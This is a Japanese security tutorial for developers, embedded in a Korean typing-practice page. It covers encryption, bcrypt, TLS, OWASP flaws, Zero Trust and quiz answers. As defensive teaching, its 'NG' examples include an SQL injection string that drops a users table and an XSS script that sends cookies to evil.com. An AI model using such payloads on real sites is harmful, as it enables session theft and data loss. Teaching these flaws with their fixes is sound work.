Skip to content

필사 모드: 開発者のためのセキュリティ完全ガイド — 暗号化からZero Trustまで

日本語
0%
정확도 0%
💡 왼쪽 원문을 읽으면서 오른쪽에 따라 써보세요. Tab 키로 힌트를 받을 수 있습니다.
원문 렌더가 준비되기 전까지 텍스트 가이드로 표시합니다.

はじめに

「セキュリティはセキュリティチームの仕事では?」— いいえ。コードを書くすべての開発者がセキュリティの最前線です。

SQL Injection一つで数百万件の個人情報が漏洩し、XSS一つでユーザーセッションが乗っ取られます。この記事では、開発者が必ず知っておくべきセキュリティ概念を総まとめします。

Part 1: 暗号化(Cryptography)

共通鍵暗号化(AES)

from cryptography.fernet import Fernet

from cryptography.hazmat.primitives.ciphers.aead import AESGCM

=== Fernet(シンプルな共通鍵)===

key = Fernet.generate_key()

f = Fernet(key)

plaintext = b"Hello, Security!"

ciphertext = f.encrypt(plaintext)

decrypted = f.decrypt(ciphertext)

assert decrypted == plaintext # ✅

=== AES-256-GCM(本番標準)===

key = AESGCM.generate_key(bit_length=256)

aesgcm = AESGCM(key)

nonce = os.urandom(12) # 96ビットnonce(毎回新しく!)

暗号化 + 認証(AEAD: Authenticated Encryption with Associated Data)

ct = aesgcm.encrypt(nonce, b"sensitive data", b"metadata")

pt = aesgcm.decrypt(nonce, ct, b"metadata") # 復号 + 完全性検証

共通鍵: 同じ鍵で暗号化/復号

メリット: 高速(AES-256: 約1 GB/s)

デメリット: 鍵配送問題(どうやって安全に鍵を共有するか?)

用途: データ暗号化、ディスク暗号化、TLSデータ転送

公開鍵暗号化(RSA、ECDSA)

from cryptography.hazmat.primitives.asymmetric import rsa, padding

from cryptography.hazmat.primitives import hashes

鍵ペア生成

private_key = rsa.generate_private_key(

public_exponent=65537,

key_size=2048

)

public_key = private_key.public_key()

暗号化(公開鍵で)

message = b"Secret message"

ciphertext = public_key.encrypt(

message,

padding.OAEP(

mgf=padding.MGF1(algorithm=hashes.SHA256()),

algorithm=hashes.SHA256(),

label=None

)

)

復号(秘密鍵で)

plaintext = private_key.decrypt(ciphertext, padding.OAEP(

mgf=padding.MGF1(algorithm=hashes.SHA256()),

algorithm=hashes.SHA256(),

label=None

))

assert plaintext == message # ✅

公開鍵暗号: 公開鍵(暗号化)+ 秘密鍵(復号)

メリット: 鍵交換問題を解決(公開鍵は公開してOK)

デメリット: 遅い(RSA: 約1 KB/s、AESの1000倍遅い)

用途: TLS鍵交換、電子署名、SSH認証

ハッシング(Hashing)— パスワード保存

絶対にやってはいけないこと: 平文保存

password = "mypassword123"

NG: 単純ハッシュ(レインボーテーブル攻撃に脆弱)

md5_hash = hashlib.md5(password.encode()).hexdigest()

sha256_hash = hashlib.sha256(password.encode()).hexdigest()

OK: bcrypt(ソルト + 遅いハッシング = 安全!)

salt = bcrypt.gensalt(rounds=12) # ソルト生成(2^12回反復)

hashed = bcrypt.hashpw(password.encode(), salt)

検証

is_valid = bcrypt.checkpw(password.encode(), hashed)

print(f"パスワード一致: {is_valid}") # True

bcryptが安全な理由:

1. ソルト: 同じパスワードでも異なるハッシュ → レインボーテーブル無効化

2. 遅い: 意図的に遅くしてブルートフォース防御(GPU攻撃防御)

3. rounds調整: ハードウェアの進化に合わせて難易度を上げられる

TLSハンドシェイク(HTTPS)

[Client] [Server]

│ │

│── ClientHello ────────────────▶│ 対応暗号スイート一覧

│ │

│◀── ServerHello + 証明書 ───────│ 選択された暗号 + サーバー証明書

│ │

│ サーバー証明書検証(CA チェーン) │

│ │

│── Key Exchange ───────────────▶│ ECDHE公開値

│◀── Key Exchange ───────────────│ サーバーECDHE公開値

│ │

╔════════════════════════════════╗

║ 両者が同じ共通鍵を導出! ║

║ (Diffie-Hellman) ║

╚════════════════════════════════╝

│ │

│◄══ AES-256-GCM 暗号化通信 ══▶│

Part 2: Webセキュリティ(OWASP Top 10)

SQL Injection

NG: 危険なコード

username = "admin'; DROP TABLE users; --"

query = f"SELECT * FROM users WHERE username = '{username}'"

→ SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'

→ テーブル削除!

OK: パラメータバインディング(Prepared Statement)

cursor.execute(

"SELECT * FROM users WHERE username = %s",

(username,) # 入力をデータとしてのみ扱い、SQLとして解釈しない

)

OK: ORM使用(SQLAlchemy、Django ORM)

user = User.query.filter_by(username=username).first()

XSS(Cross-Site Scripting)

NG: 危険なコード(ユーザー入力をそのまま出力)

comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'

HTMLにそのまま挿入すると:

html = f"<div>{comment}</div>"

→ Cookie窃取!

OK: HTMLエスケープ

from markupsafe import escape

safe_html = f"<div>{escape(comment)}</div>"

→ &lt;script&gt;...(実行されない)

OK: CSP(Content Security Policy)ヘッダー

Content-Security-Policy: script-src 'self'; object-src 'none';

CSRF(Cross-Site Request Forgery)

攻撃: ユーザーがログイン状態で悪意あるサイトを訪問

悪意あるサイトに隠されたフォームが自動的に銀行振込リクエストを送信!

OK: CSRFトークン防御

from flask import Flask, session

app = Flask(__name__)

@app.route('/transfer', methods=['POST'])

def transfer():

トークン検証

if request.form['csrf_token'] != session['csrf_token']:

abort(403) # CSRF攻撃をブロック!

正常処理

process_transfer(request.form)

OK: SameSite Cookie

Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly

認証/認可の脆弱性

NG: IDOR(Insecure Direct Object Reference)

@app.route('/api/users/<user_id>/profile')

def get_profile(user_id):

return User.query.get(user_id).to_dict()

user_idを変更すると他人の情報が閲覧可能!

OK: 権限チェック追加

@app.route('/api/users/<user_id>/profile')

@login_required

def get_profile(user_id):

if current_user.id != int(user_id) and not current_user.is_admin:

abort(403) # 権限なし!

return User.query.get(user_id).to_dict()

Part 3: Zero Trustアーキテクチャ

従来のセキュリティ: 「城壁の中は安全」(Castle & Moat)

[インターネット] ──[ファイアウォール]── [内部ネットワーク: 全員信頼]

→ 内部侵入時に無防備!

Zero Trust: 「誰も信頼しない」

[すべてのリクエスト] → [認証] → [認可] → [暗号化] → [モニタリング]

→ 内部でも外部でも毎回検証!

Zero Trustの原則

1. Verify Explicitly(明示的検証)

→ すべてのリクエストに認証 + 認可(場所/ネットワーク不問)

2. Least Privilege(最小権限)

→ 必要なものだけ、必要な時間だけアクセス許可

→ JIT(Just-In-Time)権限付与

3. Assume Breach(侵害前提)

→ すでに侵害されていると仮定して設計

→ マイクロセグメンテーション、暗号化、モニタリング

Kubernetes Zero Trust: NetworkPolicy

apiVersion: networking.k8s.io/v1

kind: NetworkPolicy

metadata:

name: api-policy

spec:

podSelector:

matchLabels:

app: api-server

policyTypes:

- Ingress

- Egress

ingress:

- from:

- podSelector:

matchLabels:

app: frontend # フロントエンドからのみアクセス許可

ports:

- port: 8080

egress:

- to:

- podSelector:

matchLabels:

app: database # DBへのアクセスのみ許可

ports:

- port: 5432

その他すべてのトラフィック: ブロック!

セキュリティチェックリスト

[認証/認可]

- bcrypt/Argon2でパスワードハッシング(SHA256単独使用禁止)

- JWT署名検証 + 有効期限設定

- OAuth 2.0 PKCE(SPA/モバイル)

- MFA(多要素認証)導入

- Rate Limiting(ブルートフォース防御)

[入力検証]

- SQL Injection: Prepared Statement / ORM

- XSS: HTMLエスケープ + CSPヘッダー

- CSRF: SameSite Cookie + CSRFトークン

- Path Traversal: ファイル名検証

- SSRF: 内部IPブロック

[通信/保存]

- HTTPS必須(TLS 1.3)

- HSTSヘッダー

- 機密データ暗号化(AES-256-GCM)

- シークレット管理: Vault / AWS Secrets Manager

- ログにパスワード/トークンを絶対に記録しない

[インフラ]

- Zero Trustネットワーク

- コンテナイメージスキャン(Trivy)

- 依存関係の脆弱性スキャン(Dependabot)

- WAF(Web Application Firewall)

- 侵入検知/モニタリング

**Q1.** 共通鍵暗号と公開鍵暗号の違いとそれぞれの用途は?

||共通鍵: 同じ鍵で暗号化/復号、高速(AES)— データ転送/保存の暗号化。公開鍵: 公開鍵/秘密鍵のペア、低速(RSA)— 鍵交換、電子署名||

**Q2.** bcryptがSHA-256よりパスワード保存に安全な理由は?

||1) ソルトでレインボーテーブルを無効化 2) 意図的に遅いハッシングでブルートフォース防御 3) rounds調整で将来のハードウェア進化に対応||

**Q3.** SQL Injectionの根本原因と防御法は?

||根本原因: ユーザー入力がSQLクエリの一部として解釈される。防御: Prepared Statement(パラメータバインディング)で入力をデータとしてのみ扱う||

**Q4.** XSSとCSRFの違いは?

||XSS: 攻撃者のスクリプトが被害者のブラウザで実行される。CSRF: 被害者の認証済みセッションで攻撃者が望むリクエストを送信。XSSはクライアントを、CSRFはサーバーを騙す攻撃||

**Q5.** TLSハンドシェイクで共通鍵と公開鍵がそれぞれ使われる段階は?

||公開鍵: ハンドシェイク段階での鍵交換(ECDHE)。共通鍵(AES): データ転送段階。公開鍵で安全に共通鍵を合意した後、高速な共通鍵で実際の通信||

**Q6.** Zero Trustの3原則は?

||1) Verify Explicitly: すべてのリクエストを明示的に認証/認可 2) Least Privilege: 最小限の権限のみ付与 3) Assume Breach: すでに侵害されていると仮定して設計||

**Q7.** HSTSヘッダーの役割は?

||ブラウザに対して該当ドメインはHTTPSでのみアクセスするよう指示。HTTPからHTTPSへのリダイレクト中に発生しうる中間者攻撃を防止||

クイズ

Q1: 「開発者のためのセキュリティ完全ガイド — 暗号化からZero

Trustまで」の主なトピックは何ですか?

共通鍵・公開鍵暗号化、ハッシング、TLSハンドシェイク、OWASP Top 10、SQL Injection、XSS、CSRF、Zero

Trustアーキテクチャまで。開発者が必ず知っておくべきセキュリティ概念をコード付きで整理します。

共通鍵暗号化(AES) 公開鍵暗号化(RSA、ECDSA) ハッシング(Hashing)— パスワード保存

TLSハンドシェイク(HTTPS)

SQL Injection XSS(Cross-Site Scripting) CSRF(Cross-Site Request Forgery) 認証/認可の脆弱性

Q1. 共通鍵暗号と公開鍵暗号の違いとそれぞれの用途は? Q2.

bcryptがSHA-256よりパスワード保存に安全な理由は? Q3. SQL Injectionの根本原因と防御法は? Q4.

XSSとCSRFの違いは? Q5. TLSハンドシェイクで共通鍵と公開鍵がそれぞれ使われる段階は? Q6. Zero

Trustの3原則は? Q7. HSTSヘッダーの役割は?

현재 단락 (1/184)

「セキュリティはセキュリティチームの仕事では?」— いいえ。コードを書くすべての開発者がセキュリティの最前線です。

작성 글자: 0원문 글자: 6,583작성 단락: 0/184